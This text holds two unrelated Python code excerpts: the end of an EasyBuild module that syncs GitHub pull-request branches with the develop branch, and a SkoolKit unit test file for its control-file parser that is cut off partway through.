HTTP_STATUS_OK: raise EasyBuildError("Failed to get comments for PR #%d from %s/%s (status: %d %s)", pr, pr_target_account, pr_target_repo, status, comments_data) pr_data['issue_comments'] = comments_data # also fetch reviews def reviews_url(gh): """Helper function to grab reviews for this PR""" return gh.repos[pr_target_account][pr_target_repo].pulls[pr].reviews status, reviews_data = github_api_get_request(reviews_url, github_user, **parameters) if status != HTTP_STATUS_OK: raise EasyBuildError("Failed to get reviews for PR #%d from %s/%s (status: %d %s)", pr, pr_target_account, pr_target_repo, status, reviews_data) pr_data['reviews'] = reviews_data return pr_data, pr_url def sync_with_develop(git_repo, branch_name, github_account, github_repo): """Sync specified branch with develop branch.""" # pull in latest version of 'develop' branch from central repository msg = "pulling latest version of '%s' branch from %s/%s..." % (GITHUB_DEVELOP_BRANCH, github_account, github_repo) print_msg(msg, log=_log) remote = create_remote(git_repo, github_account, github_repo, https=True) # fetch latest version of develop branch pull_out = git_repo.git.pull(remote.name, GITHUB_DEVELOP_BRANCH) _log.debug("Output of 'git pull %s %s': %s", remote.name, GITHUB_DEVELOP_BRANCH, pull_out) # fetch to make sure we can check out the 'develop' branch fetch_out = git_repo.git.fetch(remote.name) _log.debug("Output of 'git fetch %s': %s", remote.name, fetch_out) _log.debug("Output of 'git branch -a': %s", git_repo.git.branch(a=True)) _log.debug("Output of 'git remote -v': %s", git_repo.git.remote(v=True)) # create 'develop' branch (with force if one already exists), git_repo.create_head(GITHUB_DEVELOP_BRANCH, remote.refs.develop, force=True).checkout() # check top of git log git_log_develop = git_repo.git.log('-n 3') _log.debug("Top of 'git log' for %s branch:\n%s", GITHUB_DEVELOP_BRANCH, git_log_develop) # checkout PR branch, and merge develop branch in it (which will create a merge commit) print_msg("merging '%s' branch into PR branch '%s'..." % (GITHUB_DEVELOP_BRANCH, branch_name), log=_log) git_repo.git.checkout(branch_name) merge_out = git_repo.git.merge(GITHUB_DEVELOP_BRANCH) _log.debug("Output of 'git merge %s':\n%s", GITHUB_DEVELOP_BRANCH, merge_out) # check git log, should show merge commit on top post_merge_log = git_repo.git.log('-n 3') _log.debug("Top of 'git log' after 'git merge %s':\n%s", GITHUB_DEVELOP_BRANCH, post_merge_log) def sync_pr_with_develop(pr_id): """Sync pull request with specified ID with current develop branch.""" github_user = build_option('github_user') if github_user is None: raise EasyBuildError("GitHub user must be specified to use --sync-pr-with-develop") target_account = build_option('pr_target_account') target_repo = build_option('pr_target_repo') or GITHUB_EASYCONFIGS_REPO pr_account, pr_branch = det_account_branch_for_pr(pr_id) # initialize repository git_working_dir = tempfile.mkdtemp(prefix='git-working-dir') git_repo = init_repo(git_working_dir, target_repo) setup_repo(git_repo, pr_account, target_repo, pr_branch) sync_with_develop(git_repo, pr_branch, target_account, target_repo) # push updated branch back to GitHub (unless we're doing a dry run) return push_branch_to_github(git_repo, pr_account, target_repo, pr_branch) def sync_branch_with_develop(branch_name): """Sync branch with specified name with current develop branch.""" github_user = build_option('github_user') if github_user is None: raise EasyBuildError("GitHub user must be specified to use --sync-branch-with-develop") target_account = build_option('pr_target_account') target_repo = build_option('pr_target_repo') or GITHUB_EASYCONFIGS_REPO # initialize repository git_working_dir = tempfile.mkdtemp(prefix='git-working-dir') git_repo = init_repo(git_working_dir, target_repo) # GitHub organisation or GitHub user where branch is located github_account = build_option('github_org') or github_user setup_repo(git_repo, github_account, target_repo, branch_name) sync_with_develop(git_repo, branch_name, target_account, target_repo) # push updated branch back to GitHub (unless we're doing a dry run) return push_branch_to_github(git_repo, github_account, target_repo, branch_name) # copy functions for --new-pr COPY_FUNCTIONS = { GITHUB_EASYCONFIGS_REPO: copy_easyconfigs, GITHUB_EASYBLOCKS_REPO: copy_easyblocks, GITHUB_FRAMEWORK_REPO: copy_framework_files, }
codeparrot/github-code-clean
import textwrap from skoolkittest import SkoolKitTestCase from skoolkit.ctlparser import CtlParser CTL = """; Test control file for parse_ctl @ 30000 start b $7530 Data at 30000 N 30000 Block start comment T 30002,10 Message in the data block N 30012 Mid-block comment M 30012,15 This comment covers the following two sub-blocks W 30012,8 C 30020,7 30050,5,3:c2 Complex DEFB with a blank directive # This is a control file comment c 30100 Routine at 30100 D 30100 Description of routine at 30100 R 30100 A Some value R 30100 BC Some other value @ $7595 label=LOOP E 30100 First paragraph of the end comment for the routine at 30100 E 30100 Second paragraph of the end comment for the routine at 30100 % This is another control file comment g 30200 Game status buffer entry at 30200 30200,10,1 Blank directive in a 'g' block i 30300 Ignored block at 30300 t 30400 Message at 30400 30450,7,4:n3 Complex DEFM with a blank directive u 30500 Unused block at 30500 30500,2 Blank directive in a 'u' block B 30502,3 B 30510,12,3 B 30530,20,2*7,1*3,3 B 30560,21,6,5,4,3,2,1 ; This is yet another control file comment w 30600 Words at 30600 S 30620,7 s 30700 Zeroes at 30700 B 30720,10,1,c3:2,1:c1*2 N 30730 Another mid-block comment T 30730,15,10:n5""" class CtlParserTest(SkoolKitTestCase): def _get_ctl_parser(self, ctl, min_address=0, max_address=65536): ctl_parser = CtlParser() ctls = [ctl] if isinstance(ctl, str) else ctl ctlfiles = [self.write_text_file(textwrap.dedent(s).strip()) for s in ctls] ctl_parser.parse_ctls(ctlfiles, min_address, max_address) return ctl_parser def _check_blocks(self, blocks): addresses = [b.start for b in blocks] self.assertEqual(sorted(addresses), addresses) def _check_ctls(self, exp_ctls, blocks): ctls = {b.start: b.ctl for b in blocks} self.assertEqual(exp_ctls, ctls) def _check_headers(self, exp_headers, blocks): headers = {b.start: b.header for b in blocks} self.assertEqual(exp_headers, headers) def _check_footers(self, exp_footers, blocks): footers = {b.start: b.footer for b in blocks} self.assertEqual(exp_footers, footers) def _check_entry_asm_directives(self, exp_entry_asm_directives, blocks): entry_asm_directives = {b.start: b.asm_directives for b in blocks} self.assertEqual(exp_entry_asm_directives, entry_asm_directives) def _check_asm_data_directives(self, exp_asm_data_directives, blocks): asm_data_directives = {b.start: b.asm_data_directives for b in blocks} self.assertEqual(exp_asm_data_directives, asm_data_directives) def _check_titles(self, exp_titles, blocks): titles = {b.start: b.title for b in blocks} self.assertEqual(exp_titles, titles) def _check_descriptions(self, exp_descriptions, blocks): descriptions = {b.start: b.description for b in blocks} self.assertEqual(exp_descriptions, descriptions) def _check_registers(self, exp_registers, blocks): registers = {b.start: b.registers for b in blocks} self.assertEqual(exp_registers, registers) def _check_end_comments(self, exp_end_comments, blocks): end_comments = {b.start: b.end_comment for b in blocks} self.assertEqual(exp_end_comments, end_comments) def _check_subctls(self, exp_subctls, blocks): subctls = {s.start: s.ctl for b in blocks for s in b.blocks} self.assertEqual(exp_subctls, subctls) def _check_mid_block_comments(self, exp_mid_block_comments, blocks): mid_block_comments = {s.start: s.header for b in blocks for s in b.blocks} self.assertEqual(exp_mid_block_comments, mid_block_comments) def _check_instruction_comments(self, exp_instruction_comments, blocks): instruction_comments = {s.start: s.comment for b in blocks for s in b.blocks} self.assertEqual(exp_instruction_comments, instruction_comments) def _check_sublengths(self, exp_sublengths, blocks): sublengths = {s.start: s.sublengths for b in blocks for s in b.blocks} self.assertEqual(exp_sublengths, sublengths) def _check_multiline_comments(self, exp_multiline_comments, blocks): multiline_comments = {s.start: s.multiline_comment for b in blocks for s in b.blocks} self.assertEqual(exp_multiline_comments, multiline_comments) def _check_instruction_asm_directives(self, exp_directives, blocks): directives = {} for b in blocks: for s in b.blocks: directives.update(s.asm_directives) self.assertEqual(exp_directives, directives) def _check_ignoreua_directives(self, exp_entry_directives, exp_other_directives, blocks): entry_directives = {} other_directives = {} for b in blocks: entry_directives[b.start] = b.ignoreua_directives for s in b.blocks: for address, dirs in s.ignoreua_directives.items(): other_directives[address] = dirs self.assertEqual(exp_entry_directives, entry_directives) self.assertEqual(exp_other_directives, other_directives) def _test_asm_directives(self, ctl, exp_entry_directives, exp_instruction_directives): blocks = self._get_ctl_parser(ctl).get_blocks() self._check_entry_asm_directives(exp_entry_directives, blocks) self._check_instruction_asm_directives(exp_instruction_directives, blocks) def test_predefined_ctls_acquire_start_and_org_directives(self): ctl_parser = CtlParser({16384: 'c', 32768: 'i'}) exp_entry_asm_directives = {16384: ['start', 'org']} self._check_entry_asm_directives(exp_entry_asm_directives, ctl_parser.get_blocks()) def test_parse_ctl(self): ctl_parser = self._get_ctl_parser(CTL) blocks = ctl_parser.get_blocks() self._check_blocks(blocks) exp_ctls = { 30000: 'b', 30100: 'c', 30200: 'g', 30300: 'i', 30400: 't', 30500: 'u', 30600: 'w', 30700: 's' } self._check_ctls(exp_ctls, blocks) exp_subctls = { 30000: 'b', 30002: 't', 30012: 'w', 30020: 'c', 30027: 'b', 30050: 'b', 30055: 'b', 30100: 'c', 30200: 'b', 30210: 'g', 30300: 'i', 30400: 't', 30450: 't', 30457: 't', 30500: 'b', 30502: 'b', 30505: 'u', 30510: 'b', 30522: 'u', 30530: 'b', 30532: 'b', 30534: 'b', 30536: 'b', 30538: 'b', 30540: 'b', 30542: 'b', 30544: 'b', 30545: 'b', 30546: 'b', 30547: 'b', 30550: 'u', 30560: 'b', 30566: 'b', 30571: 'b', 30575: 'b', 30578: 'b', 30580: 'b', 30581: 'u', 30600: 'w', 30620: 's', 30627: 'w', 30700: 's', 30720: 'b', 30721: 'b', 30726: 'b', 30728: 'b', 30730: 't', 30745: 's' } self._check_subctls(exp_subctls, blocks) exp_mid_block_comments = { 30000: [['Block start comment']], 30002: (), 30012: [['Mid-block comment']], 30020: (), 30027: (), 30050: (), 30055: (), 30100: (), 30200: (), 30210: (), 30300: (), 30400: (), 30450: (), 30457: (), 30500: (), 30502: (), 30505: (), 30510: (), 30522: (), 30530: (), 30532: (), 30534: (), 30536: (), 30538: (), 30540: (), 30542: (), 30544: (), 30545: (), 30546: (), 30547: (), 30550: (), 30560: (), 30566: (), 30571: (), 30575: (), 30578: (), 30580: (), 30581: (), 30600: (), 30620: (), 30627: (), 30700: (), 30720: (), 30721: (), 30726: (), 30728: (), 30730: [['Another mid-block comment']], 30745: () } self._check_mid_block_comments(exp_mid_block_comments, blocks) exp_titles = { 30000: ['Data at 30000'], 30100: ['Routine at 30100'], 30200: ['Game status buffer entry at 30200'], 30300: ['Ignored block at 30300'], 30400: ['Message at 30400'], 30500: ['Unused block at 30500'], 30600: ['Words at 30600'], 30700: ['Zeroes at 30700'] } self._check_titles(exp_titles, blocks) exp_instruction_comments = { 30000: (), 30002: [(0, 'Message in the data block')], 30012: [(0, '')], 30020: [(0, '')], 30027: (), 30050: [(0, 'Complex DEFB with a blank directive')], 30055: (), 30100: (), 30200: [(0, "Blank directive in a 'g' block")], 30210: (), 30300: (), 30400: (), 30450: [(0, 'Complex DEFM with a blank directive')], 30457: (), 30500: [(0, "Blank directive in a 'u' block")], 30502: [(0, '')], 30505: (), 30510: [(0, '')], 30522: (), 30530: [(0, '')], 30532: (), 30534: (), 30536: (), 30538: (), 30540: (), 30542: (), 30544: (), 30545: (), 30546: (), 30547: (), 30550: (), 30560: [(0, '')], 30566: (), 30571: (), 30575: (), 30578: (), 30580: (), 30581: (), 30600: (), 30620: [(0, '')], 30627: (), 30700: (), 30720: [(0, '')], 30721: (), 30726: (), 30728: (), 30730: [(0, '')], 30745: () } self._check_instruction_comments(exp_instruction_comments, blocks) exp_descriptions = { 30000: (), 30100: [['Description of routine at 30100']], 30200: (), 30300: (), 30400: (), 30500: (), 30600: (), 30700: () } self._check_descriptions(exp_descriptions, blocks) exp_registers = { 30000: (), 30100: [['A Some value'], ['BC Some other value']], 30200: (), 30300: (), 30400: (), 30500: (), 30600: (), 30700: () } self._check_registers(exp_registers, blocks) exp_end_comments = { 30000: (), 30100: [ ['First paragraph of the end comment for the routine at 30100'], ['Second paragraph of the end comment for the routine at 30100'] ], 30200: (), 30300: (), 30400: (), 30500: (), 30600: (), 30700: () } self._check_end_comments(exp_end_comments, blocks) exp_sublengths = { 30000: ((0, 'n'),), 30002: ((0, 'c'),), 30012: ((0, 'n'),), 30020: ((0, 'n'),), 30027: ((0, 'n'),), 30050: ((3, 'n'), (2, 'c')), 30055: ((0, 'n'),), 30100: ((0, 'n'),), 30200: ((1, 'n'),), 30210: ((0, 'n'),), 30300: ((0, 'n'),), 30400: ((0, 'c'),), 30450: ((4, 'c'), (3, 'n')), 30457: ((0, 'c'),), 30500: ((0, 'n'),), 30502: ((0, 'n'),), 30505: ((0, 'n'),), 30510: ((3, 'n'),), 30522: ((0, 'n'),), 30530: ((2, 'n'),), 30532: ((2, 'n'),), 30534: ((2, 'n'),), 30536: ((2, 'n'),), 30538: ((2, 'n'),), 30540: ((2, 'n'),), 30542: ((2, 'n'),), 30544: ((1, 'n'),), 30545: ((1, 'n'),), 30546: ((1, 'n'),), 30547: ((3, 'n'),), 30550: ((0, 'n'),), 30560: ((6, 'n'),), 30566: ((5, 'n'),), 30571: ((4, 'n'),), 30575: ((3, 'n'),), 30578: ((2, 'n'),), 30580: ((1, 'n'),), 30581: ((0, 'n'),), 30600: ((0, 'n'),), 30620: ((0, 'n'),), 30627: ((0, 'n'),), 30700: ((0, 'n'),), 30720: ((1, 'n'),), 30721: ((3, 'c'), (2, 'n')), 30726: ((1, 'n'), (1, 'c')), 30728: ((1, 'n'), (1, 'c')), 30730: ((10, 'c'), (5, 'n')), 30745: ((0, 'n'),) } self._check_sublengths(exp_sublengths, blocks) exp_multiline_comments = { 30000: None, 30002: None, 30012: (30027, [(0, 'This comment covers the following two sub-blocks')]), 30020: None, 30027: None, 30050: None, 30055: None, 30100: None, 30200: None, 30210: None, 30300: None, 30400: None, 30450: None, 30457: None, 30500: None, 30502: None, 30505: None, 30510: None, 30522: None, 30530: (30550, [(0, '')]), 30532: None, 30534: None, 30536: None, 30538: None, 30540: None, 30542: None, 30544: None, 30545: None, 30546: None, 30547: None, 30550: None, 30560: (30581, [(0, '')]), 30566: None, 30571: None, 30575: None, 30578: None, 30580: None, 30581: None, 30600: None, 30620: None, 30627: None, 30700: None, 30720: (30730, [(0, '')]), 30721: None, 30726: None, 30728: None, 30730: None, 30745: None } self._check_multiline_comments(exp_multiline_comments, blocks) exp_entry_asm_directives = { 30000: ['start'], 30100: [], 30200: [], 30300: [], 30400: [], 30500: [], 30600: [], 30700: [] } self._check_entry_asm_directives(exp_entry_asm_directives, blocks) exp_instruction_asm_directives = { 30101: ['label=LOOP'] } self._check_instruction_asm_directives(exp_instruction_asm_directives, blocks) def test_two_ctl_files(self): ctl1 = """ b 30000 c 30010 """ ctl2 = """ g 30020 w 30022 """ blocks = self._get_ctl_parser((ctl1, ctl2)).get_blocks() exp_ctls = { 30000: 'b', 30010: 'c', 30020: 'g', 30022: 'w' } self._check_ctls(exp_ctls, blocks) def test_blank_directive_out_of_order(self): ctl = """ c 65534 b 65535 65534,1 This is a C directive """ blocks = self._get_ctl_parser(ctl).get_blocks() exp_subctls = { 65534: 'c', 65535: 'b' } self._check_subctls(exp_subctls, blocks) def test_blank_directive_with_no_containing_block(self): ctl = """ 30000 b 30001 """ ctl_parser = CtlParser() ctlfile = self.write_text_file(textwrap.dedent(ctl)) ctl_parser.parse_ctls([ctlfile]) warnings = self.err.getvalue().split('\n')[0:-1:2] exp_warnings = ['WARNING: Ignoring line 1 in {} (blank directive with no containing block):'.format(ctlfile)] self.assertEqual(exp_warnings, warnings) exp_subctls = {30001: 'b'} self._check_subctls(exp_subctls, ctl_parser.get_blocks()) def test_parse_ctl_with_min_address(self): ctl_parser = self._get_ctl_parser(CTL, 30700) blocks = ctl_parser.get_blocks() exp_ctls = {30700: 's'} self._check_ctls(exp_ctls, blocks) exp_subctls = { 30700: 's', 30720: 'b', 30721: 'b', 30726: 'b', 30728: 'b', 30730: 't', 30745: 's' } self._check_subctls(exp_subctls, blocks) exp_mid_block_comments = { 30700: (), 30720: (), 30721: (), 30726: (), 30728: (), 30730: [['Another mid-block comment']], 30745: () } self._check_mid_block_comments(exp_mid_block_comments, blocks) exp_titles = {30700: ['Zeroes at 30700']} self._check_titles(exp_titles, blocks) exp_instruction_comments = { 30700: (), 30720: [(0, '')], 30721: (), 30726: (), 30728: (), 30730: [(0, '')], 30745: () } self._check_instruction_comments(exp_instruction_comments, blocks) exp_descriptions = {30700: ()} self._check_descriptions(exp_descriptions, blocks) exp_registers = {30700: ()} self._check_registers(exp_registers, blocks) exp_end_comments = {30700: ()} self._check_end_comments(exp_end_comments, blocks) exp_sublengths = { 30700: ((0, 'n'),), 30720: ((1, 'n'),), 30721: ((3, 'c'), (2, 'n')), 30726: ((1, 'n'), (1, 'c')), 30728: ((1, 'n'), (1, 'c')), 30730: ((10, 'c'), (5, 'n')), 30745: ((0, 'n'),) } self._check_sublengths(exp_sublengths, blocks) exp_multiline_comments = { 30700: None, 30720: (30730, [(0, '')]), 30721: None, 30726: None, 30728: None, 30730: None, 30745: None } self._check_multiline_comments(exp_multiline_comments, blocks) exp_entry_asm_directives = {30700: []} self._check_entry_asm_directives(exp_entry_asm_directives, blocks) self._check_instruction_asm_directives({}, blocks) def test_parse_ctl_with_max_address(self): ctl_parser = self._get_ctl_parser(CTL, max_address=30200) blocks = ctl_parser.get_blocks() self._check_blocks(blocks) exp_ctls = { 30000: 'b', 30100: 'c' } self._check_ctls(exp_ctls, blocks) exp_subctls = { 30000: 'b', 30002: 't', 30012: 'w', 30020: 'c', 30027: 'b', 30050: 'b', 30055: 'b', 30100: 'c' } self._check_subctls(exp_subctls, blocks) exp_mid_block_comments = { 30000: [['Block start comment']], 30002: (), 30012: [['Mid-block comment']], 30020: (), 30027: (), 30050: (), 30055: (), 30100: () } self._check_mid_block_comments(exp_mid_block_comments, blocks) exp_titles = { 30000: ['Data at 30000'], 30100: ['Routine at 30100'] } self._check_titles(exp_titles, blocks) exp_instruction_comments = { 30000: (), 30002: [(0, 'Message in the data block')], 30012: [(0, '')], 30020: [(0, '')], 30027: (), 30050: [(0, 'Complex DEFB with a blank directive')], 30055: (), 30100: () } self._check_instruction_comments(exp_instruction_comments, blocks) exp_descriptions = { 30000: (), 30100: [['Description of routine at 30100']] } self._check_descriptions(exp_descriptions, blocks) exp_registers = { 30000: (), 30100: [['A Some value'], ['BC Some other value']] } self._check_registers(exp_registers, blocks) exp_end_comments = { 30000: (), 30100: [ ['First paragraph of the end comment for the routine at 30100'], ['Second paragraph of the end comment for the routine at 30100'] ] } self._check_end_comments(exp_end_comments, blocks) exp_sublengths = { 30000: ((0, 'n'),), 30002: ((0, 'c'),), 30012: ((0, 'n'),), 30020: ((0, 'n'),), 30027: ((0, 'n'),), 30050: ((3, 'n'), (2, 'c')), 30055: ((0, 'n'),), 30100: ((0, 'n'),) } self._check_sublengths(exp_sublengths, blocks) exp_multiline_comments = { 30000: None, 30002: None, 30012: (30027, [(0, 'This comment covers the following two sub-blocks')]), 30020: None, 30027: None, 30050: None, 30055: None, 30100: None } self._check_multiline_comments(exp_multiline_comments, blocks) exp_entry_asm_directives = { 30000: ['start'], 30100: [] } self._check_entry_asm_directives(exp_entry_asm_directives, blocks) exp_instruction_asm_directives = { 30101: ['label=LOOP'] } self._check_instruction_asm_directives(exp_instruction_asm_directives, blocks) def test_parse_ctl_with_min_and_max_addresses(self): ctl_parser = self._get_ctl_parser(CTL, 30100, 30300) blocks = ctl_parser.get_blocks() self._check_blocks(blocks) exp_ctls = { 30100: 'c', 30200: 'g' } self._check_ctls(exp_ctls, blocks) exp_subctls = { 30100: 'c', 30200: 'b', 30210: 'g' } self._check_subctls(exp_subctls, blocks) exp_mid_block_comments = { 30100: (), 30200: (), 30210: () } self._check_mid_block_comments(exp_mid_block_comments, blocks) exp_titles = { 30100: ['Routine at 30100'], 30200: ['Game status buffer entry at 30200'] } self._check_titles(exp_titles, blocks) exp_instruction_comments = { 30100: (), 30200: [(0, "Blank directive in a 'g' block")], 30210: () } self._check_instruction_comments(exp_instruction_comments, blocks) exp_descriptions = { 30100: [['Description of routine at 30100']], 30200: () } self._check_descriptions(exp_descriptions, blocks) exp_registers = { 30100: [['A Some value'], ['BC Some other value']], 30200: () } self._check_registers(exp_registers, blocks) exp_end_comments = { 30100: [ ['First paragraph of the end comment for the routine at 30100'], ['Second paragraph of the end comment for the routine at 30100'] ], 30200: () } self._check_end_comments(exp_end_comments, blocks) exp_sublengths = { 30100: ((0, 'n'),), 30200: ((1, 'n'),), 30210: ((0, 'n'),) } self._check_sublengths(exp_sublengths, blocks) exp_multiline_comments = { 30100: None, 30200: None, 30210: None } self._check_multiline_comments(exp_multiline_comments, blocks) exp_entry_asm_directives = { 30100: [], 30200: [] } self._check_entry_asm_directives(exp_entry_asm_directives, blocks) exp_instruction_asm_directives = { 30101: ['label=LOOP'] } self._check_instruction_asm_directives(exp_instruction_asm_directives, blocks) def test_invalid_lines(self): ctl_specs = [ (' 30000,1', 'blank directive with no containing block'), ('B 30745,15,5:X10', 'invalid integer'), ('T 30760,5,2:Y3', 'invalid integer'), ('W 30765,5,1:B4', 'invalid integer'), ('S 30770,10,T8:2', 'invalid integer'), ('B 30780,10,h,5', 'invalid integer'), ('C 40000,Q', 'invalid integer'), ('@ FEDCB label=Z', 'invalid ASM directive address'), ('@ 49152', 'invalid ASM directive declaration'), ('b 50000,20', 'extra parameters after address'), ('c 50000,20', 'extra parameters after address'), ('g 50000,20', 'extra parameters after address'), ('i 50000,20', 'extra parameters after address'), ('s 50000,20', 'extra parameters after address'), ('t 50000,20', 'extra parameters after address'), ('u 50000,20', 'extra parameters after address'), ('w 50000,20', 'extra parameters after address'), ('D 50000,20 Desc.', 'extra parameters after address'), ('E 50000,20 End.', 'extra parameters after address'), ('N 50000,20 Note.', 'extra parameters after address'), ('R 50000,20 A 10', 'extra parameters after address'), ('b b50010', 'invalid address'), ('d 50020', 'invalid directive'), ('! 50030', 'invalid directive'), ('@ 50000 ignoreua:g', "invalid @ignoreua directive suffix: 'g'"), ('L 51000', 'loop length not specified'), ('L 51000,10', 'loop count not specified') ] ctls = [spec[0] for spec in ctl_specs] ctl_parser = CtlParser() ctlfile = self.write_text_file('\n'.join(ctls)) ctl_parser.parse_ctls([ctlfile]) exp_warnings = [] for line_no, (ctl, error_msg) in enumerate(ctl_specs, 1): if error_msg: exp_warnings.append('WARNING: Ignoring line {} in {} ({}):'.format(line_no, ctlfile, error_msg)) warnings = self.err.getvalue().split('\n')[:-1] self.assertEqual(exp_warnings, warnings[0::2]) invalid_ctls = [spec[0] for spec in ctl_specs if spec[1]] self.assertEqual(invalid_ctls, warnings[1::2]) def test_comments(self): ctl = """ # This is a comment b 32768 % This is also a comment w 32769 ; This is a comment too """ ctl_parser = self._get_ctl_parser(ctl) self.assertEqual(self.err.getvalue(), '') self._check_ctls({32768: 'b', 32769: 'w'}, ctl_parser.get_blocks()) def test_bases(self): ctl = """ c 50000 Test numeric instruction operand bases 50000,b 50002,h2 50006,hb 50010,6,d2,nb4 50016,,c2,dc4 50022,6,b2 50028,b6,n2,2,h2 """ ctl_parser = self._get_ctl_parser(ctl) exp_sublengths = { 50000: ((0, 'b'),), 50002: ((0, 'h'),), 50004: ((0, 'n'),), 50006: ((0, 'hb'),), 50010: ((2, 'd'),), 50012: ((4, 'nb'),), 50016: ((2, 'c'),), 50018: ((4, 'dc'),), 50022: ((2, 'b'),), 50028: ((2, 'n'),), 50030: ((2, 'b'),), 50032: ((2, 'h'),), 50034: ((0, 'n'),) } self._check_sublengths(exp_sublengths, ctl_parser.get_blocks()) def test_byte_formats(self): ctl = """ b 40000 Test byte formats 40000,b 5 bytes in binary format 40005,b5 5 more bytes in binary format B 40010,b10,5,d3,h2 5 binary, 3 decimal, 2 hex B 40020,b,2:d3:h5 2 binary, 3 decimal, 5 hex, one line 40030,,b6,3,h1 6 binary, 3 default, 1 hex 40040,10,b5:2:h3 5 binary, 2 default, 3 hex, one line 40050,10,1,c9 1 default, 9 text 40060,10,h4:c6 4 hex, 6 text, one line T 40070,10,3,b7 3 text, 7 binary T 40080,10,2:h8 2 text, 8 hex, one line T 40090,10,5,n5 5 text, 5 default """ ctl_parser = self._get_ctl_parser(ctl) exp_sublengths = { 40000: ((0, 'b'),), 40005: ((0, 'b'),), 40010: ((5, 'b'),), 40015: ((3, 'd'),), 40018: ((2, 'h'),), 40020: ((2, 'b'), (3, 'd'), (5, 'h')), 40030: ((6, 'b'),), 40036: ((3, 'n'),), 40039: ((1, 'h'),), 40040: ((5, 'b'), (2, 'n'), (3, 'h')), 40050: ((1, 'n'),), 40051: ((9, 'c'),), 40060: ((4, 'h'), (6, 'c')), 40070: ((3, 'c'),), 40073: ((7, 'b'),), 40080: ((2, 'c'), (8, 'h')), 40090: ((5, 'c'),), 40095: ((5, 'n'),), 40100: ((0, 'n'),) } self._check_sublengths(exp_sublengths, ctl_parser.get_blocks()) def test_word_formats(self): ctl = """ w 40000 Test word formats 40000,10 5 default 40010,b10 5 words in binary format W 40020,b10,6,d2,h2 3 binary, 1 decimal, 1 hex W 40030,b10,4:d4:h2 2 binary, 2 decimal, 1 hex, one line 40040,10,b2,4,h4 1 binary, 2 default, 2 hex 40050,10,b2:6:h2 1 binary, 3 default, 1 hex, one line """ ctl_parser = self._get_ctl_parser(ctl) exp_sublengths = { 40000: ((0, 'n'),), 40010: ((0, 'b'),), 40020: ((6, 'b'),), 40026: ((2, 'd'),), 40028: ((2, 'h'),), 40030: ((4, 'b'), (4, 'd'), (2, 'h')), 40040: ((2, 'b'),), 40042: ((4, 'n'),), 40046: ((4, 'h'),), 40050: ((2, 'b'), (6, 'n'), (2, 'h')), 40060: ((0, 'n'),) } self._check_sublengths(exp_sublengths, ctl_parser.get_blocks()) def test_s_directives_with_no_byte_value(self): ctl = """ s 50000 Test s/S directives with no byte value 50000,10 50010,b10 50020,d10 50030,h10 S 50040,b20,5,d5,h5 S 50060,d20,b5,5,h5 S 50080,h20,b5,d5,5 50100,20,b5,d5,5 """ ctl_parser = self._get_ctl_parser(ctl) exp_sublengths = { 50000: ((0, 'n'),), 50010: ((0, 'b'),), 50020: ((0, 'd'),), 50030: ((0, 'h'),), 50040: ((5, 'b'),), 50045: ((5, 'd'),), 50050: ((5, 'h'),), 50060: ((5, 'b'),), 50065: ((5, 'd'),), 50070: ((5, 'h'),), 50080: ((5, 'b'),), 50085: ((5, 'd'),), 50090: ((5, 'h'),), 50100: ((5, 'b'),), 50105: ((5, 'd'),), 50110: ((5, 'n'),), 50120: ((0, 'n'),) } self._check_sublengths(exp_sublengths, ctl_parser.get_blocks()) def test_s_directives_with_byte_values(self): ctl = """ s 50120 Test s/S directives with byte values 50120,20,d20:b%10001000 50140,20,20:h$44 50160,12,10:h10,h2:2 50172,8,2:c",",2:c";",4:c"!" 50180,70,5:c"*"*2,58:c":",2:c" " 50250,10,4:c"\\"",6:c"\\\\" """ ctl_parser = self._get_ctl_parser(ctl) exp_sublengths = { 50120: ((20, 'd'), (136, 'b')), 50140: ((20, 'n'), (68, 'h')), 50160: ((10, 'n'), (10, 'h')), 50170: ((2, 'h'), (2, 'n')), 50172: ((2, 'n'), (44, 'c')), 50174: ((2, 'n'), (59, 'c')), 50176: ((4, 'n'), (33, 'c')), 50180: ((5, 'n'), (42, 'c')), 50185: ((5, 'n'), (42, 'c')), 50190: ((58, 'n'), (58, 'c')), 50248: ((2, 'n'), (32, 'c')), 50250: ((4, 'n'), (34, 'c')), 50254: ((6, 'n'), (92, 'c')), 50260: ((0, 'n'),) } self._check_sublengths(exp_sublengths, ctl_parser.get_blocks()) def test_s_directives_with_blank_byte_values(self): ctl = """ s 60000 Test s/S directives with blank byte values 60000,20,20:c 60020,40,c"(":b 60060,10,h$0A:d 60070,10,10:h 60080,10,b%1010:n 60090,10,5:c*2 """ ctl_parser = self._get_ctl_parser(ctl) exp_sublengths = { 60000: ((20, 'n'), (0, 'c')), 60020: ((40, 'c'), (0, 'b')), 60060: ((10, 'h'), (0, 'd')), 60070: ((10, 'n'), (0, 'h')), 60080: ((10, 'b'), (0, 'n')), 60090: ((5, 'n'), (0, 'c')), 60095: ((5, 'n'), (0, 'c')), 60100: ((0, 'n'),) } self._check_sublengths(exp_sublengths, ctl_parser.get_blocks()) def test_assemble_directives(self): ctl = """ @ 30000 assemble=1 c 30000 Routine at 30000 @ 30001 assemble=0 """ exp_entry_directives = { 30000: ['assemble=1'] } exp_instruction_directives = { 30001: ['assemble=0'] } self._test_asm_directives(ctl, exp_entry_directives, exp_instruction_directives) def test_bfix_directives(self): ctl = """ @ 40000 bfix=XOR A c 40000 Routine at 40000 @ 40001 bfix=XOR B """ exp_entry_directives = { 40000: [] } exp_instruction_directives = { 40000: ['bfix=XOR A'], 40001: ['bfix=XOR B'] } self._test_asm_directives(ctl, exp_entry_directives, exp_instruction_directives) def test_defb_directives(self): ctl = """ @ 30000 defb=49152:13 c 30000 Routine at 30000 @ 30001 defb=14 """ exp_entry_directives = { 30000: ['defb=49152:13'] } exp_instruction_directives = { 30001: ['defb=14'] } self._test_asm_directives(ctl, exp_entry_directives, exp_instruction_directives) def test_defs_directives(self): ctl = """ @ 40000 defs=32768:10,2 c 40000 Routine at 40000 @ 40001 defs=11,3 """ exp_entry_directives = { 40000: ['defs=32768:10,2'] } exp_instruction_directives = { 40001: ['defs=11,3'] } self._test_asm_directives(ctl, exp_entry_directives, exp_instruction_directives) def test_defw_directives(self): ctl = """ @ 50000 defw=24576:32767 c 50000 Routine at 50000 @ 50001 defw=65535 """ exp_entry_directives = { 50000: ['defw=24576:32767'] } exp_instruction_directives = { 50001: ['defw=65535'] } self._test_asm_directives(ctl, exp_entry_directives, exp_instruction_directives) def test_end_directives(self): ctl = """ c 40000 Routine at 40000 @ 40001 end @ 40002 end c 40002 Routine at 40002 """ exp_entry_directives = { 40000: [], 40002: ['end'] } exp_instruction_directives = { 40001: ['end'] } self._test_asm_directives(ctl, exp_entry_directives, exp_instruction_directives) def 